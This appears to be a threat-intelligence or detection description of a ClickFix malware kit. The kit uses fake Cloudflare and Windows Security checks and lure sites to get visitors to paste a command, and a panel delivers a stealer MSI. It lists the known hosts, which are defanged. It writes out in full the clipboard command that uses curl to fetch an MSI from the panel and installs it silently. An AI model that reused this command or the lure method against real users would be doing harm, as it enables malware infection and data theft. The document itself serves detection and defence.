Build Card ClickFix kit: fake Cloudflare and Windows Security checks that install an MSI, and its stealer panel

A ClickFix kit whose every deployment takes its command from a "build card" in the operator's panel. The visitor is shown a fake check and told to press Win+R, paste and press Enter; the page has already copied cmd /c curl -gkso %TEMP%\wud.msi https://<panel>/dl/kb<digits>.msi?v=<visitor id> && msiexec /i %TEMP%\wud.msi /qn to the clipboard. The page then asks the panel every 2.5 seconds whether that visitor's download happened, and only lets them through once it has. The kit comes in several forms: a full-page fake Cloudflare challenge ("Error code: 300010") built to be pasted into any website, a cloned adult video site that shows a fake Windows Security "Media protection component corrupted" screen and is switched on and off from the panel, and a small overlay script (clickfix-embed.js) dropped onto a cloned travel site. The same panel also serves download fakes, such as a German-language diet quiz that ends in a ZIP holding a Windows shortcut which runs the same command. The MSI presents itself as a Microsoft update and installs a packed program that reports to the panel. Seen since September 2026 on foxnevs[.]com, gate-air[.]com, coihstats[.]com, xhamsterxx[.]com, apple-vacation[.]com, vacationtour[.]icu and praxisnord[.]com, with the panel on update.neewsoo[.]com and check.neewsoo[.]com. A match means a page or script built from this kit, whatever site it is on, or one of the known hosts.